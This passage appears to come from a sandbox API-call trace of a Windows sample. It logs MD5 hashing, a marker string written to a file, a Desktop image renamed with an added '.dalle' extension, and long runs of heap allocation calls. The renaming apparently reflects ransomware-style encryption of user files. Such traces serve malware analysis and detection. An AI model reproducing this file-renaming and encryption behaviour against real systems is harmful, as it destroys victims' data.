(lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.164] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.165] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.165] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.165] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.165] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.165] GetLastError () returned 0x0 [0120.165] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.165] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.166] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa05f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.166] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.166] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.166] CloseHandle (hObject=0x618) returned 1 [0120.168] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xj-o.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xj-o.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xj-o.png.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xj-o.png.dalle")) returned 1 [0120.169] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dec1310, ftCreationTime.dwHighDateTime=0x1d4d58f, ftLastAccessTime.dwLowDateTime=0xafba5f40, ftLastAccessTime.dwHighDateTime=0x1d4d176, ftLastWriteTime.dwLowDateTime=0xafba5f40, ftLastWriteTime.dwHighDateTime=0x1d4d176, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xwoxab1ONVdFr-x7cTy", cAlternateFileName="XWOXAB~1")) returned 1 [0120.169] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dec1310, ftCreationTime.dwHighDateTime=0x1d4d58f, ftLastAccessTime.dwLowDateTime=0xafba5f40, ftLastAccessTime.dwHighDateTime=0x1d4d176, ftLastWriteTime.dwLowDateTime=0xafba5f40, ftLastWriteTime.dwHighDateTime=0x1d4d176, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xwoxab1ONVdFr-x7cTy", cAlternateFileName="XWOXAB~1")) returned 0 [0120.169] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0120.169] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0120.169] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde5e0 | out: hHeap=0x5e0000) returned 1 [0120.169] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0120.170] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0120.170] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.170] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.170] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.170] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.170] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.170] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.170] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.170] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.170] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.170] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.170] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.170] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.170] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.170] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.170] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.170] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.170] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.170] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.170] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.170] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.170] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.170] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.170] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.170] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.170] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.170] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.170] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0120.170] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.170] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.170] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.171] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.171] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.171] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.171] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.171] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.171] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.171] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.171] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.171] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.171] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.171] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.171] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.171] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.171] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.171] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.171] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.171] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.172] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.172] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.172] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.172] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.172] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.172] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.172] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.172] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.172] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.172] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.172] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.172] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.172] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.172] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.172] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.172] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.172] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.172] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.172] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.172] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.172] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.172] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.172] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.172] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.172] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.172] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.172] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.172] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.172] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.172] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.172] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.172] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.172] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.172] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.173] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.173] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.173] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.173] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.173] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.173] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.173] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.173] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.173] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.173] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.173] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.173] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.173] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.173] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.173] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.173] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.173] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.174] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.174] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.174] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.174] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.174] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.174] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.174] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.174] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.174] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.174] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.174] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.174] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.174] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.174] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.174] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.174] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.174] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.175] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.175] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.175] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.175] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.175] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.175] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.175] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.175] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.175] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.175] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.175] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.175] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.175] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.175] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.175] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.175] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.175] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.176] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.176] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.176] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.176] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.176] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.176] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.176] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, 